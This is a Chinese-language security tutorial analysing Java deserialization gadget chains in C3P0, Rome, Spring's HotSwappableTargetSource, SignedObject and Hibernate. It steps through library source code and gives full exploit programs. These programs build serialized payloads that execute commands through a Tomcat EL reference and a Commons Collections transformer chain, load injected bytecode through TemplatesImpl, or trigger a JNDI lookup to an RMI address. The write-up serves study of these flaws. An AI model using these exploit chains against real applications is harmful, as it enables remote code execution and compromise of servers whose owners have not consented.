import java.util.logging.Logger;

public class C3P0Tomcat {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "x=eval"));
            resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
            return resourceRef;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        C3P0 c3P0=new C3P0();
        PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
        Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
        serialize(poolBackedDataSourceBase,"c3p0.ser");
        unserialize("c3p0.ser");

    }
    public static void serialize(Object obj,String path) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
        outputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }

}

在这里插入图片描述

Rome反序列化

Rome 是一个 Java 库,用于处理和生成各种 RSSAtom 格式的 XML 文档。它提供了一组易于使用的 API,用于解析和生成RSSAtom 文档,以及处理其中的内容和元数据。Rome 的目标是简化 RSSAtom 文档的处理,使开发人员能够更轻松地创建、读取和操作这些文档。您可以使用 Rome 来构建自己的 RSS 阅读器、博客聚合器或任何其他需要处理 RSSAtom 数据的应用程序。

Rome的多个函数,也会反序列化提供了多个向外的延伸,比如Fastjson对于触发get函数的条件是存在限制的,那么就可以考虑利用Rome的链子来触发get函数,以下是关于Rome的简单分析。

ToStringBean

  1. ToStringBeantoString方法中,存在着能够触发所有get函数的代码。

        public String toString() {
            Stack stack = (Stack)PREFIX_TL.get(); //从栈中获取一些东西
            String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
            String prefix;
            if (tsInfo == null) {
                String className = this._obj.getClass().getName();
                prefix = className.substring(className.lastIndexOf(".") + 1);
            } else {
                prefix = tsInfo[0];
                tsInfo[1] = prefix;
            }
    
            return this.toString(prefix);
        }
    
    在无参的toString方法中,当从当前线程中获取到栈为空,则会进入if里面,在if内容里面会获取_obj的完整的类名,然后截取到最后一个类的名称,比如说com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplprefix=TemplatesImpl,随后就将prefix传入到有参的toString
    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);
    
        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }
    
        return sb.toString();
    }
    这个方法中,调用了 PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);语句,传入的参数为_beanClass
  2. 跟进getPropertyDescriptors里面

        public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
            PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
            if (descriptors == null) {
                descriptors = getPDs(klass);
                _introspected.put(klass, descriptors);
            }
    
            return descriptors;
        }
    _introspected这个HashMap中获取传入的_beanClass,如果获取不到,则调用getPDS,然后将_beanClass放入到HashMap中,最后将getPDs结果返回。
  3. 跟进到getPDs

        private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
            Method[] methods = klass.getMethods();
            Map getters = getPDs(methods, false);
            Map setters = getPDs(methods, true);
            List pds = merge(getters, setters);
            PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
            pds.toArray(array);
            return array;
        }
    获取_beanClass的所有方法,然后分别调用第二个getPDs方法,将结果赋值给两个Map,这里就是分别取出所有方法里面的set方法和get方法,然后经过merge的处理后,返回一个PropertyDescriptor类数组。
  4. 看看第二个getPDs方法

        private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
            Map pds = new HashMap();
        //遍历所有的方法名称
            for(int i = 0; i < methods.length; ++i) {
                String pName = null;
                PropertyDescriptor pDescriptor = null;
                if ((methods[i].getModifiers() & 1) != 0) {
                    if (setters) {
                        //如果方法名以set开头并且返回的是Void,只有一个参数,则将方法提取出来,创建PropertyDescriptor来描述set方法的属性和读写方法
                        if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {
                            pName = Introspector.decapitalize(methods[i].getName().substring(3));//截取set后面的字符
                            pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);
                        }
                        ////如果方法名以get开头并且返回的不是Void,没有参数,则将方法提取出来,创建PropertyDescriptor来描述get方法的属性和读写方法
                    } else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {
                        pName = Introspector.decapitalize(methods[i].getName().substring(3));
                        pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                    } else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {
                        pName = Introspector.decapitalize(methods[i].getName().substring(2));
                        pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
                    }
                }
    //获取到的方法名不为空,则将名放入到Map中
                if (pName != null) {
                    pds.put(pName, pDescriptor);
                }
            }
    //返回这个Map
            return pds;
        }
  5. 回到有参的toString方法

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);
    
        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);//描述了Bean方法的PropertyDescriptor数组
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }
    
        return sb.toString();
    }
    PropertyDescriptor数组不为空,则进入循环,取出get方法名,获取它的ReadMethod方法,其实就是获取get***方法,这里如果获取的是writeMethod就是获取set***方法,如果这个方法的类对象不是Object并且该方法没有参数类l型,则进入if中,可以看到if里面通过反射pReadMethod.invoke(this._obj, NO_PARAMS);调用了_obj类中获取到的符合条件的get方法。同时_beanClass_obj又是通过构造函数可控的,因此就存在类似于fastjson的方法调用。
  6. 既然存在toString方法能够触发,还需要把链子引向到readObject反序列化中,在EqualBeans类中,存在HashCode方法能够触发ToStringBean#toString方法,最终整条链子就走向了HashMap#readObject

       protected EqualsBean(Class beanClass) {
           this._beanClass = beanClass;
           this._obj = this;
        }
        public int hashCode() {
            return this.beanHashCode();
        }
    
        public int beanHashCode() {
            return this._obj.toString().hashCode();
        }

整个Gadget就为

HashMap#readObject->
HashMap#hash->
EqualsBean#hashCode->
EqualsBean#beanHashCode->
ToStringBean#toString->
templates#getOutputProperties->
templatesImpl#newTransformer->
templatesImpl#getTransletInstance->
templatesImpl#defineTransletClasses->
newInstance()

整个Exp:

package com.example.xstreamdemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class RomeObjectBean {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass=TemplatesImpl.class;
        Field _name=templatesClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"aaa");
        Field _class=templatesClass.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(templates,null);
        Field _tfactory=templatesClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());
        Field _bytecodes=templatesClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
        byte[][] codes={code};
        _bytecodes.set(templates,codes);
        ToStringBean toStringBean=new ToStringBean(Templates.class,templates);//使用Templates,而不是TemplatesImpl,因为而不是TemplatesImpl有多个get方法,会中断掉
       // EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean); //要通过反射更改,否则序列化就会触发
        EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");
        HashMap hashMap=new HashMap();
        hashMap.put(equalsBean,"aaa");
        Class clazz=equalsBean.getClass();
        Field _beanClass=clazz.getDeclaredField("_beanClass");
        _beanClass.setAccessible(true);
        _beanClass.set(equalsBean,ToStringBean.class);
        Field _obj=clazz.getDeclaredField("_obj");
        _obj.setAccessible(true);
        _obj.set(equalsBean,toStringBean);
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(object);
    }
    public static void unserialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();
    }
}

EqualsBean

如果说ToStringBean没法用,或者说被Waf给拦截掉了,在EqualsBean#beanEquals中也存在相同的调用情况,也是调用get方法。

     public boolean equals(Object obj) {
        return this.beanEquals(obj);
    }
    public boolean beanEquals(Object obj) {
        Object bean1 = this._obj;
        Object bean2 = obj;
        boolean eq;
        if (obj == null) {
            eq = false;
        } else if (bean1 == null && obj == null) {
            eq = true;
        } else if (bean1 != null && obj != null) {
            if (!this._beanClass.isInstance(obj)) {
                eq = false;
            } else {
                eq = true;

                try {
                    PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
                    if (pds != null) {
                        for(int i = 0; eq && i < pds.length; ++i) {
                            Method pReadMethod = pds[i].getReadMethod();
                            if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                                Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
                                Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
                                eq = this.doEquals(value1, value2);
                            }
                        }
                    }
                } catch (Exception var10) {
                    throw new RuntimeException("Could not execute equals()", var10);
                }
            }
        } else {
            eq = false;
        }

        return eq;
    }
关键就在于用什么来触发equals方法,在之前的CC7中是存在触发equals的链子。

关于CC链具体内容,可参考文章:Java反序列化合集-1

整条Gadget如下:

HashTable#readObject->
HashTable#reconstitutionPut->
AbstractMap#equals#equals->
EqualsBean#equals->
method.invoke()

Exp如下:

public class RomeEqualBeans {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass=TemplatesImpl.class;
        Field _name=templatesClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"aaa");
        Field _class=templatesClass.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(templates,null);
        Field _tfactory=templatesClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());
        Field _bytecodes=templatesClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
        byte[][] codes={code};
        _bytecodes.set(templates,codes);
        EqualsBean equalsBean=new EqualsBean(Templates.class,templates);
        HashMap map1=new HashMap();
        HashMap map2=new HashMap();
        map1.put("AaAaAa",equalsBean);
        map1.put("BBAaBB",templates);//通过!this._beanClass.isInstance(obj)判断同时通过obj为空的判断
        map2.put("BBAaBB",equalsBean);
        map2.put("AaAaAa",templates);
        Hashtable hashtable=new Hashtable();
        hashtable.put(map1,"1");
        hashtable.put(map2,"1");
        serialize(hashtable);
        unserialize("ser.bin");

    }

BadAttributeValueExpException

在CC5中,它有一个入口是BadAttributeValueExpException#readObject处触发TiedMapEntry#toString方法,这里同样也可以用来触发toStringBean类中的toString方法,同时这里也可以触发其它的链子,比如说触发JdbcRowSetImpl#connect中的lookup接口,里面的getDatabaseMetaData能够调用connect完成JNDI注入。

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

Exp如下:

package com.example.xstreamdemo;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;

public class RomeBadJdbc {
    public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        JdbcRowSetImpl  jdbcRowSet=new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:8080/oYQqNTCn");
        ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Class clazz=BadAttributeValueExpException.class;
        Field val=clazz.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(object);
    }
    public static void unserialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();
    }
}

HotSwappableTargetSource

hotSwappableTargetSource 是Spring AOP技术相关的一个类,它里面的eqauls方法也能够逐步触发toStringBean 类ww的toString 方法,简单分析如下:

  1. hotSwappableTargetSource类中的equals 方法能够控制target 的参数,在equals 中能够控制左右两边的equals

    public HotSwappableTargetSource(Object initialTarget) {
        Assert.notNull(initialTarget, "Target object must not be null");
        this.target = initialTarget;
    }
    
    @Override
    public boolean equals(Object other) {
       return (this == other || (other instanceof HotSwappableTargetSource &&
             this.target.equals(((HotSwappableTargetSource) other).target)));
    }
  2. XString 类中存在equals 方法能够触发toString

      public boolean equals(Object obj2)
      {
    
        if (null == obj2)
          return false;
    
          // In order to handle the 'all' semantics of
          // nodeset comparisons, we always call the
          // nodeset function.
        else if (obj2 instanceof XNodeSet)
          return obj2.equals(this);
        else if(obj2 instanceof XNumber)
            return obj2.equals(this);
        else
          return str().equals(obj2.toString()); //触发toString
      }
  3. 所以只需要 this.target.equals(((HotSwappableTargetSource) other).target)));控制左边的targetXString ,右边的targettoStringBean 即可,至于怎么触发hotSwappableTargetSource#equals ,在HashMap#putVal中就能触发,整条链就引向了HashMap#HashCode

     final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                       boolean evict) {
            Node<K,V>[] tab; Node<K,V> p; int n, i;
            if ((tab = table) == null || (n = tab.length) == 0)
                n = (tab = resize()).length;
            if ((p = tab[i = (n - 1) & hash]) == null)
                tab[i] = newNode(hash, key, value, null);
            else {
                Node<K,V> e; K k;
                if (p.hash == hash &&
                    ((k = p.key) == key || (key != null && key.equals(k))))//此处可触发,只需要将两个target放入hashMap中
             
  4. 整个链如下:

    HashMap#HashCode()->
    HashMap#putVal()->
    hotSwappableTargetSource#equals()->
    Xstring#equals()->
    toStringBean#toString()->
    后半段
  5. 整个Exp如下:

    public class RomeHotSwappable {
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
            TemplatesImpl templates=new TemplatesImpl();
            Class templateClass=TemplatesImpl.class;
            Field _name=templateClass.getDeclaredField("_name");
            _name.setAccessible(true);
            _name.set(templates,"aiwin");
            Field _class=templateClass.getDeclaredField("_class");
            _class.setAccessible(true);
            _class.set(templates,null);
    //        Field _factory=templateClass.getDeclaredField("_tfactory");
    //        _factory.setAccessible(true);
    //        _factory.set(templates,new TransformerFactoryImpl());
            Field _bytecode=templateClass.getDeclaredField("_bytecodes");
            byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test1.class"));
            byte[][] codes={code};
            _bytecode.setAccessible(true);
            _bytecode.set(templates,codes);
    
            ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
            HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource(toStringBean);
            HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource(new XString("a"));
            HashMap hashMap=new HashMap();
            hashMap.put(hotSwappableTargetSource,"1");
            hashMap.put(hotSwappableTargetSource1,"1");
    
    
            serialize(hashMap);
            unserialize();
    
    
        }

SignedObject(二次反序列化)

  1. Java-Security中,存在SignedObject类,里面存在一个getObject方法能够直接调用readObject 触发反序列化,并且readObject的内容我们可以控制,这就导致了二次反序列化的成形

         public SignedObject(Serializable object, PrivateKey signingKey,
                            Signature signingEngine)
            throws IOException, InvalidKeyException, SignatureException {
                ByteArrayOutputStream b = new ByteArrayOutputStream(); 
                ObjectOutput a = new ObjectOutputStream(b);
                a.writeObject(object);//通过构造方法可以直接控制this.content的内容
                a.flush();
                a.close();
                this.content = b.toByteArray();
                b.close();
                // now sign the encapsulated object
                this.sign(signingKey, signingEngine); //对this.content进行签名加密,
        }   
    
         public Object getObject()
            throws IOException, ClassNotFoundException
        {
            ByteArrayInputStream b = new ByteArrayInputStream(this.content);
            ObjectInput a = new ObjectInputStream(b);
            Object obj = a.readObject();//对this.content进行反序列化,内容可控
            b.close();
            a.close();
            return obj;
        }
  1. 进入到sign方法中,发现它传入了一个私钥和一个Signature类,通过Signaturecontent进行加密

        private void sign(PrivateKey signingKey, Signature signingEngine)
            throws InvalidKeyException, SignatureException {
                // initialize the signing engine
                signingEngine.initSign(signingKey);
                signingEngine.update(this.content.clone());
                this.signature = signingEngine.sign().clone();
                this.thealgorithm = signingEngine.getAlgorithm();
        }
  1. 究竟用什么算法来对this.content进行加密比较好呢,从Signature可以看到支持很多种加密的算法,简洁起见,采用第一种普通的DSA即可。

        static {
            signatureInfo = new ConcurrentHashMap<String,Boolean>();
            Boolean TRUE = Boolean.TRUE;
            // pre-initialize with values for our SignatureSpi implementations
            signatureInfo.put("sun.security.provider.DSA$RawDSA", TRUE);
            signatureInfo.put("sun.security.provider.DSA$SHA1withDSA", TRUE);
            signatureInfo.put("sun.security.rsa.RSASignature$MD2withRSA", TRUE);
            signatureInfo.put("sun.security.rsa.RSASignature$MD5withRSA", TRUE);
            signatureInfo.put("sun.security.rsa.RSASignature$SHA1withRSA", TRUE);
            signatureInfo.put("sun.security.rsa.RSASignature$SHA256withRSA", TRUE);
            signatureInfo.put("sun.security.rsa.RSASignature$SHA384withRSA", TRUE);
            signatureInfo.put("sun.security.rsa.RSASignature$SHA512withRSA", TRUE);
            signatureInfo.put("com.sun.net.ssl.internal.ssl.RSASignature", TRUE);
            signatureInfo.put("sun.security.pkcs11.P11Signature", TRUE);
        }
  2. 再联系起上方ROME序列化中通过toString()能够触发get方法,那么就串起来了整条二次反序列化链子。

Gadget如下:

BadAttributeValueExpException#readObject->
ToStringBean#toString->
SignedObject#getObject->
readObject->
第二次反序列化的链子

这里就以CC6为例子,触发二次反序列化,EXP如下:

package com.example.xstreamdemo;

import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

public class RomeSignedObject {
    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),//解决Runtime不继承序列化接口问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
        HashMap<Object,Object> objectHashMap=new HashMap<>();
        objectHashMap.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa");
        Class lazyMap_class=LazyMap.class;
        Field factory=lazyMap_class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(objectHashMap, kp.getPrivate(), Signature.getInstance("DSA"));

        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Class badAttributeValueExpException_class=BadAttributeValueExpException.class;
        Field val=badAttributeValueExpException_class.getDeclaredField("val");
        val.setAccessible(true);
        ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
        val.set(badAttributeValueExpException,toStringBean);
//        serialize(badAttributeValueExpException,"ser.bin");
        unserialize("ser.bin");



    }
    public static void serialize(Object obj,String path) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream(path));
        outputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }
}

Hibernate反序列化

Java Hibernate 是一个开源的对象-关系映射(ORM)框架,它为 Java 开发人员提供了一种将面向对象的类与数据库表之间进行映射的方式。它允许开发人员使用面向对象的方式来操作数据库,而不必深入编写大量的 SQL 语句。通过 Hibernate,开发人员可以将 Java 对象持久化到数据库中,从而简化了数据访问层的开发工作。

Hibernate 提供了一种自动生成 SQL 语句的机制,它能够自动将 Java 对象映射到数据库表及字段,同时也支持事务管理、缓存管理和查询语言等功能。通过使用 Hibernate,开发人员可以更加专注于业务逻辑的开发,而不必过多关注底层的数据库操作。

TemplateImpl

  1. 在Hibernate的各种类中,依旧存在着一连串的链子能够被用于进行反序列化漏洞触发get类型方法,漏洞的触发点在BasicPropertyAccessor$BasicSetter#get()中,存在着Method.invoke()能够触发

            private BasicGetter(Class clazz, Method method, String propertyName) {
                this.clazz=clazz;
                this.method=method;
                this.propertyName=propertyName;
            }
    
            @Override
            public Object get(Object target) throws HibernateException {
                try {
                    return method.invoke( target, (Object[]) null );
                }
                catch (InvocationTargetException ite) {
                    throw new PropertyAccessException(
                            ite,
                            "Exception occurred inside",
                            false,
                            clazz,
                            propertyName
                        );
                }
  2. 查看BasicPropertyAccessor$BasicSetter#getterMethod方法我们可以看出它的逻辑,与Rome那个触发有点相似,获取get方法返回。

        private static Method getterMethod(Class theClass, String propertyName) {
            Method[] methods = theClass.getDeclaredMethods();//获取类中的所有方法
            for ( Method method : methods ) {
                //如果方法存在参数,跳过
                if ( method.getParameterTypes().length != 0 ) {
                    continue;
                }
                //如果方法是桥接方法,跳过
                if ( method.isBridge() ) {
                    continue;
                }
                final String methodName = method.getName(); //获取方法的名字
                if ( methodName.startsWith( "get" ) ) {//如果方法名以get开头
                    //首字母转换成小写
                    String testStdMethod = Introspector.decapitalize( methodName.substring( 3 ) );
                    String testOldMethod = methodName.substring( 3 );//截取get后面的字符串
                    //如果与传入的propertyName一致,则返回method
                    if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
                        return method;
                    }
                }
                //如果方法以is开头,逻辑与上面一样
                if ( methodName.startsWith( "is" ) ) {
                    String testStdMethod = Introspector.decapitalize( methodName.substring( 2 ) );
                    String testOldMethod = methodName.substring( 2 );
                    if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
                        return method;
                    }
                }
            }
            return null;
        }
  3. 可以获取到一个类中的get类方法,然后通过method.invoke()触发,就可以配合之前的很多链子进行使用,比如说Templates动态类字节码加载,JdbcImpl类的Jndi注入,又或者是SignedObject#getObject的二次反序列化(以Templates为例),往上找谁能触发BasicPropertyAccessor$BasicSetter#get(),在AbstractComponentTuplizer#getPropertyValue()能够触发,只需要令getters[]BasicGettercomponentTemplateImpl

    public abstract class AbstractComponentTuplizer implements ComponentTuplizer {
        protected final Getter[] getters;
        public Object getPropertyValue(Object component, int i) throws HibernateException {
            return getters[i].get( component );
        }
    }
  1. 这里的AbstractComponentTuplizer是一个抽象类,不能进行实例化,因此需要向它的子类中寻找,会找到DynamicMapComponentTuplizerPojoComponentTuplizer两个子类,发现PojoComponentTuplizer能够对getters进行赋值,因此可以通过PojoComponentTuplizer触发父类AbstractComponentTuplizer#getPropertyValue()

    public class PojoComponentTuplizer extends AbstractComponentTuplizer {
        private final Class componentClass;
        private ReflectionOptimizer optimizer;
        private final Getter parentGetter;
        private final Setter parentSetter;
    
        public PojoComponentTuplizer(Component component) {
            super( component );
    
            this.componentClass = component.getComponentClass();
    
            String[] getterNames = new String[propertySpan];
            String[] setterNames = new String[propertySpan];
            Class[] propTypes = new Class[propertySpan];
            for ( int i = 0; i < propertySpan; i++ ) {
                getterNames[i] = getters[i].getMethodName();
                setterNames[i] = setters[i].getMethodName();
                propTypes[i] = getters[i].getReturnType();
            }
  2. ComponentType#getPropertyValue()方法的找到了能够触发PojoComponentTuplizer#getPropertyValue的方法,并且该方法可以被ComponentType#getHashCode()触发,此处需要propertySpan>=1进入循环,对componentTuplizer赋值为PojoComponentTuplizer

    public class ComponentType extends AbstractType implements CompositeType, ProcedureParameterExtractionAware {
        @Override
        public int getHashCode(final Object x) {
            int result = 17;
            for ( int i = 0; i < propertySpan; i++ ) {
                Object y = getPropertyValue( x, i );
                result *= 37;
                if ( y != null ) {
                    result += propertyTypes[i].getHashCode( y );
                }
            }
            return result;
        }
            public Object getPropertyValue(Object component, int i)
                throws HibernateException {
            if ( component instanceof Object[] ) {
                return (( Object[] ) component)[i];
            } else {
                return componentTuplizer.getPropertyValue( component, i );
            }
        }
        
    }
  3. 谁能触发ComponentType#getHashCode(),发现在TypedValue中存在hashCode()方法,它可以调用ValueHolder#getValue,而ValueHolder#getValue当value为空,会调用valueInitializer.initialize(),这个方法在TypedValue#initTransients中被重新封装,在里面可以通过令type=ComponentType触发getHashCode()

        public final class TypedValue implements Serializable {
         private final Type type;
        private final Object value;
        private transient ValueHolder<Integer> hashcode;
        public TypedValue(final Type type, final Object value) {
            this.type = type;
            this.value = value
            initTransients();
        }
        @Override
        public int hashCode() {
            return hashcode.getValue();
        }
            private void initTransients() {
            this.hashcode = new ValueHolder<Integer>( new ValueHolder.DeferredInitializer<Integer>() {
                @Override
                public Integer initialize() {
                    return value == null ? 0 : type.getHashCode( value );
                }
            } );
        }
    public class ValueHolder<T> {
            public T getValue() {
            if ( value == null ) {
                value = valueInitializer.initialize();
            }
            return value;
        }
    }
  4. 到此整个Gadgets就形成了
HashMap.readObject()
    TypedValue.hashCode()
        ValueHolder.getValue()
            ValueHolder.DeferredInitializer().initialize()
                ComponentType.getHashCode()
                    PojoComponentTuplizer.getPropertyValue()
                        AbstractComponentTuplizer.getPropertyValue()
                            BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
